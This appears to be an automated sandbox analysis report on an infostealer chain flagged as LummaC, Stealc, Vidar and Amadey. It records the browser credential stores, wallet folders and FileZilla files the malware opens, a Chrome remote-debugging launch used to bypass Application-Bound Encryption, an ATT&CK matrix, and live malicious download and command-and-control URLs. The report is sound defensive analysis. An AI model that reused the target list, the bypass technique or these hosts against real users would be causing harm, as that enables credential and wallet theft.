Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: Process Memory Space: 90c05232da.exe PID: 5036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ba324316e4.exe PID: 5672, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: fe4405d388.exe PID: 7472, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 90c05232da.exe PID: 5036, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000012.00000002.3502074950.00000000008B1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3508880280.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3568420328.00000000008B1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3567743210.00000000005B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.3104103507.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2940412231.0000000005090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ba324316e4.exe PID: 5672, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: ba324316e4.exe PID: 5672, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	12 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\VX0YIFPA9O6IUSKA42AUY9.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016132001\b294a2fe6c.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\VX0YIFPA9O6IUSKA42AUY9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\M4DQ9XSY5MC3EM9XBILXIQOGHXOC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1016131001\8525fc48e0.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1016132001\b294a2fe6c.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	47%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://185.215.113.16/off/def.exeEM	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exevOa	0%	Avira URL Cloud	safe
http://185.215.113.16/off/random.exeWO	0%	Avira URL Cloud	safe
http://185.215.113.16/7k	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe:	0%	Avira URL Cloud	safe
https://www.msn.com6	0%	Avira URL Cloud	safe
https://tacitglibbr.biz/apiwDnl	100%	Avira URL Cloud	malware
https://tacitglibbr.biz/dsTvq	100%	Avira URL Cloud	malware
http://home.twentygr20sb.top/kNcZsqQOSglxukmuLodY1734167391?argument=sypEa2ygPYYA5Tt31734357798	100%	Avira URL Cloud	malware
http://31.41.244.11/files/burpin1/random.exe/	100%	Avira URL Cloud	malware
http://www.inbox.lv/rfc2368/?value=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sget	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exefz	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpaE	100%	Avira URL Cloud	malware
http://185.215.113.16/hjb	0%	Avira URL Cloud	safe
https://screenshots.firefox.com/shims/mochitest-shim-2.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
youtube.com	142.250.181.110	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
home.twentygr20sb.top	138.124.34.218	true	false	high
twentygr20sb.top	138.124.34.218	true	false	high
tacitglibbr.biz	104.21.50.161	true	false	high
ipv4only.arpa	192.0.0.170	true	false	high
